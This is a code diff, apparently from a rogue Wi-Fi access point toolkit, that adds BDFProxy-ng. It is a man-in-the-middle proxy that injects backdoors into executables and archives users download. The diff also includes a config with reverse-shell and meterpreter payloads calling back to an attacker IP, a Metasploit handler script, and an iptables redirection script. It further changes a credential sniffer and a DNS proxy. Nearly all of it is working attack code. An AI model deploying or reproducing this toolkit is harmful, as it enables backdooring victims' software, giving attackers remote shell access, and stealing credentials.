self.keys_backlist_check(flow) + self.hosts_blacklist_check(flow) + + if len(flow.reply.obj.response.content) >= long(self.FileSizeMax): + EnhancedOutput.print_warning("Not patching over content-length, forwarding to user") + EnhancedOutput.logging_info( + "Over FileSizeMax setting {0} : {1}".format(flow.request.host, flow.request.path)) + self.patchIT = False + + if self.patchIT is False: + EnhancedOutput.print_warning("Not patching, flow did not make it through config settings") + EnhancedOutput.logging_info( + "Config did not allow the patching of HOST: {0}, PATH: {1}".format(flow.request.host, + flow.request.path)) + + flow.reply() + else: + mime_type = magic.from_buffer(flow.reply.obj.response.content, mime=True) + + if mime_type in self.binary_types: + tmp = tempfile.NamedTemporaryFile() + tmp.write(flow.reply.obj.response.content) + tmp.flush() + tmp.seek(0) + + patchResult = self.binaryGrinder(tmp.name) + if patchResult: + EnhancedOutput.print_info("Patching complete, forwarding to user.") + EnhancedOutput.logging_info( + "Patching complete for HOST: {0}, PATH: {1}".format(flow.request.host, flow.request.path)) + + bd_file = os.path.join(os.getcwd()+BDFOLDER, os.path.basename(tmp.name)) + with open(bd_file, 'r+b') as file2: + flow.reply.obj.response.content = file2.read() + file2.close() + + os.remove(bd_file) + else: + EnhancedOutput.print_error("Patching failed") + EnhancedOutput.logging_info( + "Patching failed for HOST: {0}, PATH: {1}".format(flow.request.host, flow.request.path)) + + tmp.close() + else: + for archive in self.archive_types: + if mime_type in self.userConfig[archive]['mimes'] and self.backdoor_compressed_files is True: + if archive == "DEB": + flow.reply.obj.response.content = self.deb_files(flow.reply.obj.response.content) + else: + params = {'type': archive, + 'format': self.userConfig[archive][mime_type]['format'], + 'filter': (None if self.userConfig[archive][mime_type]['filter'] == "None" else + self.userConfig[archive][mime_type]['filter'])} + flow.reply.obj.response.content = self.archive_files(flow.reply.obj.response.content, + params) + + flow.reply() + + print "=" * 10, "END RESPONSE", "=" * 10 + +################################## START MAIN ####################################### + +CONFIGFILE = "Plugins/BDFProxy-ng/bdfproxy.cfg" +BDFOLDER = "/Plugins/BDFProxy-ng/backdoored" + +# Initial CONFIG reading +userConfig = ConfigObj(CONFIGFILE) + +#################### BEGIN OVERALL CONFIGS ############################ +# DOES NOT UPDATE ON THE FLY +resourceScript = userConfig['Overall']['resourceScriptFile'] + +config = proxy.ProxyConfig(clientcerts=os.path.expanduser(userConfig['Overall']['certLocation']), + body_size_limit=userConfig['Overall'].as_int('MaxSizeFileRequested'), + port=userConfig['Overall'].as_int('proxyPort'), + mode=userConfig['Overall']['proxyMode'], + ) + +if userConfig['Overall']['proxyMode'] != "None": + config.proxy_mode = {'sslports': userConfig['Overall']['sslports'], + 'resolver': platform.resolver() + } + +server = ProxyServer(config) + +numericLogLevel = getattr(logging, userConfig['Overall']['loglevel'].upper(), None) + +if not isinstance(numericLogLevel, int): + EnhancedOutput.print_error("INFO, DEBUG, WARNING, ERROR, CRITICAL for loglevel in conifg") + sys.exit(1) + +parser = argparse.ArgumentParser() +parser.add_argument("-k", "--key", help="session ID for WiFi-pumpkin") + +args = parser.parse_args() +key_session = args.key + + +from time import asctime +setup_logger('bdfproxy', './Logs/AccessPoint/bdfproxy.log',key_session) +loggingbdfproxy = logging.getLogger('bdfproxy') +loggingbdfproxy.info('---[ Start BDFproxy-ng '+asctime()+']---') + +#################### END OVERALL CONFIGS ############################## + +# Write resource script +EnhancedOutput.print_warning("Writing resource script.") +resourceValues = [] +dict_parse(userConfig['targets']) +try: + write_resource(str(resourceScript), resourceValues) +except Exception as e: + EnhancedOutput.print_error(e) + sys.exit(1) + +EnhancedOutput.print_warning("Resource writen to {0}".format(str(resourceScript))) +EnhancedOutput.print_warning("Configuring network forwarding") + + +m = ProxyMaster(server) +try: + m.setConfig() +except Exception as e: + EnhancedOutput.print_error("Your config file is broken: {0}".format(e)) + EnhancedOutput.logging_error("Your config file is broken: {0}".format(e)) + sys.exit(1) + +EnhancedOutput.print_info("Starting BDFProxy-ng") +EnhancedOutput.print_info("Author: @midnite_runr | the[.]midnite).(runrgmail|.|com") +EnhancedOutput.logging_info("################ Starting BDFProxy-ng ################") +m.run() diff --git a/Plugins/BDFProxy-ng/bdfproxy.cfg b/Plugins/BDFProxy-ng/bdfproxy.cfg new file mode 100644 index 0000000..093a5ae --- /dev/null +++ b/Plugins/BDFProxy-ng/bdfproxy.cfg @@ -0,0 +1,247 @@ +############################################################################## +# BDFProxy-ng # +# Copyright (C) 2015 Davide `Anathema` Barbato # +# # +# This program is free software; you can redistribute it and/or modify # +# it under the terms of the GNU General Public License as published by # +# the Free Software Foundation; either version 3 of the License. # +# # +# This program is distributed in the hope that it will be useful, # +# but WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # +# GNU General Public License for more details. # +# # +# You should have received a copy of the GNU General Public License # +# along with this program; if not, write to the Free Software Foundation, # +# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # +############################################################################## + +[Overall] + proxyMode = transparent # Modes: None, socks5, transparent, reverse, upstream + MaxSizeFileRequested = 100000000 # will send a 502 request of large content to the client (server error) + certLocation = ~/.mitmproxy/mitmproxy-ca.pem + proxyPort = 8080 + sslports = 443, 8443 + loglevel = INFO + logname = Logs/AccessPoint/bdfproxy.log + resourceScriptFile = Plugins/BDFProxy-ng/bdfproxy_msf_resource.rc + supportedArchiveTypes = ZIP, TAR, AR, DEB, LZMA + supportedBinaryTypes = application/octet-stream, application/x-msdownload, application/x-msdos-program, binary/octet-stream, application/x-executable, application/x-dosexec + + +[hosts] + #whitelist host/IP - patch these only. + #ALL is everything, use the blacklist to leave certain hosts/IPs out + + whitelist = ALL + + #Hosts that are never patched, but still pass through the proxy. You can include host and ip, recommended to do both. + + blacklist = , # a comma is null do not leave blank + + +[keywords] + #These checks look at the path of a url for keywords + + whitelist = ALL + + #For blacklist note binaries that you do not want to touch at all + + # Also applied in zip files + + blacklist = Tcpview.exe, skype.exe, .dll + +[ZIP] + # patchCount is the max number of files to patch in a zip file + # After the max is reached it will bypass the rest of the files + # and send on it's way + + patchCount = 5 + + # In Bytes + maxSize = 40000000 + + blacklist = .dll, #don't do dlls in a zip file + + mimes = application/x-zip-compressed, application/zip + + [[application/x-zip-compressed]] + format = zip + filter = None + + [[application/zip]] + format = zip + filter = None + +[AR] + # patchCount is the max number of files to patch in an ar file + # After the max is reached it will bypass the rest of the files + # and send on it's way + + patchCount = 5 + + # In Bytes + maxSize = 40000000 + + blacklist = , # don't + + mimes = application/x-archive + + [[application/x-archive]] + format = ar_bsd + filter = None + +[DEB] + # patchCount is the max number of files to patch in an ar file + # After the max is reached it will bypass the rest of the files + # and send on it's way + + patchCount = 5 + + # In Bytes + maxSize = 40000000 + + blacklist = , + + mimes = application/x-debian-package + +[LZMA] + # patchCount is the max number of files to patch in an lzma file + # After the max is reached it will bypass the rest of the files + # and send on it's way + + patchCount = 5 + + # In Bytes + maxSize = 40000000 + + blacklist = .dll, #don't do dlls in a ar file + + mimes = application/x-xz + + [[application/x-xz]] + format = gnutar + filter = xz + +[TAR] + # patchCount is the max number of files to patch in a tar file + # After the max is reached it will bypass the rest of the files + # and send on it's way + + patchCount = 5 + + # In Bytes + maxSize = 60000000 + + blacklist = , # a comma is null do not leave blank + + mimes = application/x-tar, application/gzip, application/x-gzip, application/gnutar, application/x-bzip2, application/x-bzip + + [[application/gnutar]] + format = ustar + filter = gzip + + [[application/x-gzip]] + format = ustar + filter = gzip + + [[application/gzip]] + format = ustar + filter = gzip + + [[application/x-tar]] + format = ustar + filter = None + + [[application/x-bzip]] + format = gnutar + filter = bzip2 + + [[application/x-bzip2]] + format = gnutar + filter = bzip2 + +[targets] + # MAKE SURE that your settings for host and port DO NOT + # overlap between different types of payloads + + [[ALL]] # DEFAULT settings for all targets REQUIRED + + LinuxType = ALL # choices: x86/x64/ALL/None + WindowsType = ALL # choices: x86/x64/ALL/None + FatPriority = x64 # choices: x86 or x64 + + FileSizeMax = 60000000 # ~60 MB (just under) No patching of files this large + + CompressedFiles = True #True/False + [[[LinuxIntelx86]]] + HOST = 192.168.8.129 + SHELL = reverse_shell_tcp + SUPPLIED_SHELLCODE = None + PORT = 8888 + MSFPAYLOAD = linux/x86/shell_reverse_tcp + + [[[LinuxIntelx64]]] + HOST = 192.168.8.129 + SHELL = reverse_shell_tcp + SUPPLIED_SHELLCODE = None + PORT = 9999 + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + [[[WindowsIntelx86]]] + SHELL = iat_reverse_tcp_stager_threaded + MSFPAYLOAD = windows/meterpreter/reverse_tcp + PATCH_DLL = True + HOST = 192.168.8.129 + PATCH_TYPE = SINGLE + SUPPLIED_SHELLCODE = None + ZERO_CERT = False + PATCH_METHOD = automatic + PORT = 9999 + + [[[WindowsIntelx64]]] + SHELL = iat_reverse_tcp_stager_threaded + MSFPAYLOAD = windows/x64/shell/reverse_tcp + PATCH_DLL = False + HOST = 192.168.8.129 + PATCH_TYPE = APPEND + SUPPLIED_SHELLCODE = None + ZERO_CERT = True + PATCH_METHOD = automatic + PORT = 8088 + + [[[MachoIntelx86]]] + HOST = 192.168.8.129 + SHELL = reverse_shell_tcp + SUPPLIED_SHELLCODE = None + PORT = 4444 + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + [[[MachoIntelx64]]] + HOST = 192.168.8.129 + SHELL = reverse_shell_tcp + SUPPLIED_SHELLCODE = None + PORT = 5555 + MSFPAYLOAD = linux/x64/shell_reverse_tcp + + # Call out the difference for targets here as they differ from ALL + # These settings override the ALL settings + + [[sysinternals.com]] + LinuxType = None + WindowsType = x86 + CompressedFiles = False + #inherits WindowsIntelx32 from ALL + [[[WindowsIntelx86]]] + PATCH_DLL = False + ZERO_CERT = True + + [[sourceforge.org]] + WindowsType = x64 + CompressedFiles = False + + [[[WindowsIntelx64]]] + PATCH_DLL = False + + [[[WindowsIntelx86]]] + PATCH_DLL = False diff --git a/Plugins/BDFProxy-ng/bdfproxy_msf_resource.rc b/Plugins/BDFProxy-ng/bdfproxy_msf_resource.rc new file mode 100644 index 0000000..eb3ff62 --- /dev/null +++ b/Plugins/BDFProxy-ng/bdfproxy_msf_resource.rc @@ -0,0 +1,51 @@ +#USAGE: msfconsole -r thisscriptname.rc + + +use exploit/multi/handler +set PAYLOAD linux/x86/shell_reverse_tcp +set LHOST 192.168.8.129 +set LPORT 8888 +set ExitOnSession false + +exploit -j -z + +use exploit/multi/handler +set PAYLOAD linux/x64/shell_reverse_tcp +set LHOST 192.168.8.129 +set LPORT 9999 +set ExitOnSession false + +exploit -j -z + +use exploit/multi/handler +set PAYLOAD windows/meterpreter/reverse_tcp +set LHOST 192.168.0.100 +set LPORT 4444 +set ExitOnSession false + +exploit -j -z + +use exploit/multi/handler +set PAYLOAD windows/x64/shell/reverse_tcp +set LHOST 192.168.8.129 +set LPORT 8088 +set ExitOnSession false + +exploit -j -z + +use exploit/multi/handler +set PAYLOAD linux/x64/shell_reverse_tcp +set LHOST 192.168.8.129 +set LPORT 4444 +set ExitOnSession false + +exploit -j -z + +use exploit/multi/handler +set PAYLOAD linux/x64/shell_reverse_tcp +set LHOST 192.168.8.129 +set LPORT 5555 +set ExitOnSession false + +exploit -j -z + diff --git a/Plugins/BDFProxy-ng/requirements.txt b/Plugins/BDFProxy-ng/requirements.txt new file mode 100644 index 0000000..a1acd6a --- /dev/null +++ b/Plugins/BDFProxy-ng/requirements.txt @@ -0,0 +1,7 @@ +libarchive-c==2.1 +python-magic==0.4.6 +mitmproxy==0.16 +pefile +capstone +hyperframe +h2 \ No newline at end of file diff --git a/Plugins/BDFProxy-ng/test_script.sh b/Plugins/BDFProxy-ng/test_script.sh new file mode 100755 index 0000000..d7cc016 --- /dev/null +++ b/Plugins/BDFProxy-ng/test_script.sh @@ -0,0 +1,54 @@ +#!/usr/bin/env bash + +# This script configures a simple local python webserver +# and downloads $(which ls) from it through BDF proxy. + +# figure out python executable (especially relevant on arch linux) +if [ $(which python2.7) ] +then + PYTHON=python2.7 +elif [$(which python2) ] +then + PYTHON=python2 +else + PYTHON=python +fi + +# start up the server +echo "[*] Starting up a webserver to serve /tmp" +cd /tmp +$PYTHON -m SimpleHTTPServer 9001 & +SERVER_PID=$! +cd - + +echo "[*] Making a backup copy of config" +cp bdfproxy.cfg bdfproxy.cfg.backup + +echo "[*] Patching config to turn off transparentProxy" +sed -i 's/^transparentProxy.\+/transparentProxy = False/' bdfproxy.cfg + +# start the proxy +echo "[*] Starting" +$PYTHON ./bdf_proxy.py & +sleep 5 +PROXY_PID=$! + +echo "[*] Copying "$(which ls)" to /tmp" +cp $(which ls) /tmp + +echo "[*] Attempting to download a backdoored version of "$(which ls)" to $(pwd)/ls_backdoored" +curl 'http://localhost:9001/ls' --proxy1.0 localhost:8080 > ls_backdoored + +echo "[*] Shutting down" +kill $SERVER_PID +kill $PROXY_PID + +echo "[*] Copying old config back" +cp bdfproxy.cfg.backup bdfproxy.cfg + +echo "[*] Cleaning up temporary files" +rm -f /tmp/ls +rm bdfproxy.cfg.backup + +echo "[*] ls_backdoored is available for testing in" $(pwd) +chmod +x ls_backdoored diff --git a/Plugins/BDFProxy-ng/wpBDF.sh b/Plugins/BDFProxy-ng/wpBDF.sh new file mode 100755 index 0000000..bcf4a17 --- /dev/null +++ b/Plugins/BDFProxy-ng/wpBDF.sh @@ -0,0 +1,109 @@ +#!/bin/bash +#define variables + +echo "$(tput setaf 3) _ ___ _______ ____ _ __ " +echo " | | / (_) ____(_) / __ \\(_)___ ___ ____ _____ ____ / /__ " +echo " | | /| / / / /_ / / / /_/ / / __ \/ _ \/ __ '/ __ \/ __ \/ / _ \\" +echo " | |/ |/ / / __/ / / / ____/ / / / / __/ /_/ / /_/ / /_/ / / __/" +echo " |__/|__/_/_/ /_/ /_/ /_/_/ /_/\___/\__,_/ .___/ .___/_/\___/ " +echo " $(tput sgr0) OWN the Network $(tput setaf 3)/_/ /_/$(tput sgr0) v2.2" +echo " WITH BDFProxy! " +echo "" + +echo -n "Pineapple Netmask [255.255.255.0]: " +read pineapplenetmask +if [[ $pineapplenetmask == '' ]]; then +pineapplenetmask=255.255.255.0 #Default netmask for /24 network +fi + +echo -n "Pineapple Network [172.16.42.0/24]: " +read pineapplenet +if [[ $pineapplenet == '' ]]; then +pineapplenet=172.16.42.0/24 # Pineapple network. Default is 172.16.42.0/24 +fi + +echo -n "Interface between PC and Pineapple [eth0]: " +read pineapplelan +if [[ $pineapplelan == '' ]]; then +pineapplelan=eth0 # Interface of ethernet cable directly connected to Pineapple +fi + +echo -n "Interface between PC and Internet [wlan0]: " +read pineapplewan +if [[ $pineapplewan == '' ]]; then +pineapplewan=wlan0 #i.e. wlan0 for wifi, ppp0 for 3g modem/dialup, eth0 for lan +fi + +temppineapplegw=`netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'` #Usually correct by default +echo -n "Internet Gateway [$temppineapplegw]: " +read pineapplegw +if [[ $pineapplegw == '' ]]; then +pineapplegw=`netstat -nr | awk 'BEGIN {while ($3!="0.0.0.0") getline; print $2}'` #Usually correct by default +fi + +echo -n "IP Address of Host PC [172.16.42.42]: " +read pineapplehostip +if [[ $pineapplehostip == '' ]]; then +pineapplehostip=172.16.42.42 #IP Address of host computer +fi + +echo -n "IP Address of Pineapple [172.16.42.1]: " +read pineappleip +if [[ $pineappleip == '' ]]; then +pineappleip=172.16.42.1 #Thanks Douglas Adams +fi + +#Display settings +#echo Pineapple connected to: $pineapplelan +#echo Internet connection from: $pineapplewan +#echo Internet connection gateway: $pineapplegw +#echo Host Computer IP: $pineapplehostip +#echo Pineapple IP: $pineappleip +#echo Network: $pineapplenet +#echo Netmask: $pineapplenetmask + +echo " -.(\`-')" +echo " __( OO)__" +echo "$(tput setaf 6) _ . $(tput sgr0) \- $(tput setaf 7)___ -/ $(tput sgr0) $(tput setaf 3) \||/$(tput sgr0) Internet: $pineapplegw - $pineapplewan" +echo "$(tput setaf 6) ( _ )_ $(tput sgr0) $(tput setaf 2)<-->$(tput sgr0) $(tput setaf 7)[-_-]$(tput sgr0) $(tput setaf 2)<-->$(tput sgr0) $(tput setaf 3),<><>,$(tput sgr0) Computer: $pineapplehostip" +echo "$(tput setaf 6) (_ _(_ ,)$(tput sgr0) $(tput setaf 7)\___\\$(tput sgr0) $(tput setaf 3)'<><>'$(tput sgr0) Pineapple: $pineapplenet - $pineapplelan" + + +#Bring up Ethernet Interface directly connected to Pineapple +ifconfig $pineapplelan $pineapplehostip netmask $pineapplenetmask up + +# Enable IP Forwarding +echo '1' > /proc/sys/net/ipv4/ip_forward +#echo -n "IP Forwarding enabled. /proc/sys/net/ipv4/ip_forward set to " +#cat /proc/sys/net/ipv4/ip_forward + +#clear chains and rules +iptables -X +iptables -F +#echo iptables chains and rules cleared + +#setup IP forwarding +iptables -A FORWARD -i $pineapplewan -o $pineapplelan -s $pineapplenet -m state --state NEW -j ACCEPT +iptables -A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT +iptables -A POSTROUTING -t nat -j MASQUERADE +iptables -t nat -A PREROUTING -i $pineapplelan -s $pineapplenet -p tcp --dport 80 -j REDIRECT --to-port 8080 + +#echo IP Forwarding Enabled + +#remove default route +route del default +#echo Default route removed + +#add default gateway +route add default gw $pineapplegw $pineapplewan +#echo Pineapple Default Gateway Configured + +#instructions +#echo All set. Now on the Pineapple issue: route add default gw $pineapplehostip br-lan + + +echo "" +echo "Browse to http://$pineappleip:1471 if necessary" +echo "Fire up BDFProxy!" +echo "" + diff --git a/Plugins/dns2proxy/dns2proxy.py b/Plugins/dns2proxy/dns2proxy.py index b43cb25..b718e69 100755 --- a/Plugins/dns2proxy/dns2proxy.py +++ b/Plugins/dns2proxy/dns2proxy.py @@ -57,6 +57,7 @@ parser = argparse.ArgumentParser() parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true") parser.add_argument("-i", "--interface", help="Interface to use", default="eth0") +parser.add_argument("-k", "--key", help="session ID for WiFi-pumpkin") parser.add_argument("-u", "--ip1", help="First IP to add at the response", default=None) parser.add_argument("-d", "--ip2", help="Second IP to add at the response", default=None) parser.add_argument("-I", "--ips", help="List of IPs to add after ip1,ip2 separated with commas", default=None) @@ -66,6 +67,7 @@ args = parser.parse_args() debug = not args.silent +key_session = args.key dev = args.interface adminip = args.adminIP ip1 = args.ip1 @@ -709,9 +711,9 @@ def make_response(qry=None, id=None, RCODE=0): '''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' -def setup_logger(logger_name, log_file, level=logging.INFO): +def setup_logger(logger_name, log_file,key, level=logging.INFO): l = logging.getLogger(logger_name) - formatter = logging.Formatter('%(asctime)s : %(message)s') + formatter = logging.Formatter('SessionID[{}] %(asctime)s : %(message)s'.format(key)) fileHandler = logging.FileHandler(log_file, mode='a') fileHandler.setFormatter(formatter) streamHandler = logging.StreamHandler() @@ -721,7 +723,7 @@ def setup_logger(logger_name, log_file, level=logging.INFO): l.addHandler(fileHandler) l.addHandler(streamHandler) -setup_logger('Dns2Proxy', './Logs/AccessPoint/dns2proxy.log') +setup_logger('Dns2Proxy', './Logs/AccessPoint/dns2proxy.log',key_session) logdns2proxy = logging.getLogger('Dns2Proxy') logdns2proxy.info('---[ Start Dns2proxy '+asctime()+']---') process_files() diff --git a/Plugins/net-creds/net-creds.py b/Plugins/net-creds/net-creds.py index cf5367b..666cb6b 100644 --- a/Plugins/net-creds/net-creds.py +++ b/Plugins/net-creds/net-creds.py @@ -64,9 +64,12 @@ '''http://stackoverflow.com/questions/17035077/python-logging-to-multiple-log-files-from-different-classes''' -def setup_logger(logger_name, log_file, level=logging.INFO): +def setup_logger(logger_name, log_file,key, level=logging.INFO): l = logging.getLogger(logger_name) - formatter = logging.Formatter('%(asctime)s : %(message)s') + if 'credentials' in logger_name: + formatter = logging.Formatter('SessionID[{}] %(asctime)s :[creds] %(message)s'.format(key),datefmt='%Y-%m-%d %H:%M:%S') + elif 'netcreds' in logger_name: + formatter = logging.Formatter('SessionID[{}] %(asctime)s :[url] %(message)s'.format(key),datefmt='%Y-%m-%d %H:%M:%S') fileHandler = logging.FileHandler(log_file, mode='a') fileHandler.setFormatter(formatter) streamHandler = logging.StreamHandler() @@ -80,6 +83,7 @@ def parse_args(): """Create the arguments""" parser = argparse.ArgumentParser() parser.add_argument("-i", "--interface", help="Choose an interface") + parser.add_argument("-k", "--key", help="session ID for WiFi-pumpkin") parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p ") parser.add_argument("-f", "--filterip", help="Do not sniff packets from this IP address; -f 192.168.0.4") parser.add_argument("-v", "--verbose", help="Display entire URLs and POST loads rather than truncating at 100 characters", action="store_true") @@ -1003,16 +1007,22 @@ def main(args): else: conf.iface = iface_finder() print '[*] Using interface:', conf.iface - + import signal + signal.signal(signal.SIGUSR1, SIGUSR1_handle) if args.filterip: sniff(iface=conf.iface, prn=pkt_parser, filter="not host %s" % args.filterip, store=0) else: sniff(iface=conf.iface, prn=pkt_parser, store=0) +def SIGUSR1_handle(signalnum, frame): + noserv = 0 + print('Reconfiguring....') + exit() if __name__ == "__main__": - setup_logger('netcreds', './Logs/AccessPoint/urls.log') - setup_logger('credentials', './Logs/AccessPoint/credentials.log') + args = parse_args() + setup_logger('netcreds', './Logs/AccessPoint/urls.log',args.key) + setup_logger('credentials', './Logs/AccessPoint/credentials.log',args.key) url = logging.getLogger('netcreds') creds = logging.getLogger('credentials') - main(parse_args()) \ No newline at end of file + main(args) \ No newline at end of file diff --git a/Proxy/Plugin.py b/Proxy/Plugin.py index b613de9..bd309c6 100644 --- a/Proxy/Plugin.py +++ b/Proxy/Plugin.py @@ -1,6 +1,3 @@ -import logging -from Core.Utils import setup_logger - class PluginProxy(object): '''' Main class Modules ''' @@ -10,9 +7,4 @@ def inject(self, data, url): def setInjectionCode(self, code): ''' function set content data to injection''' - raise NotImplementedError - - def LoggerInjector(self): - setup_logger('injectionPage', - './Logs/AccessPoint/injectionPage.log') - self.logging = logging.getLogger('injectionPage') \ No newline at end of file + raise NotImplementedError \ No newline at end of file diff --git a/Proxy/background.py b/Proxy/background.py index eeb6657..2f80ce4 100644 --- a/Proxy/background.py +++ b/Proxy/background.py @@ -1,4 +1,6 @@ from Plugin import PluginProxy +import logging +from Core.Utils import setup_logger class background(PluginProxy): ''' this module proxy add image background on html page.''' @@ -15,11 +17,15 @@ def getInstance(): return background._instance def __init__(self): - self.LoggerInjector() self.url_image = None - def setInjectionCode(self, code): + def LoggerInjector(self,session): + setup_logger('injectionPage', './Logs/AccessPoint/injectionPage.log',session) + self.logging = logging.getLogger('injectionPage') + + def setInjectionCode(self, code,session): self.url_image = code + self.LoggerInjector(session) def inject(self, data, url): injection_code = '''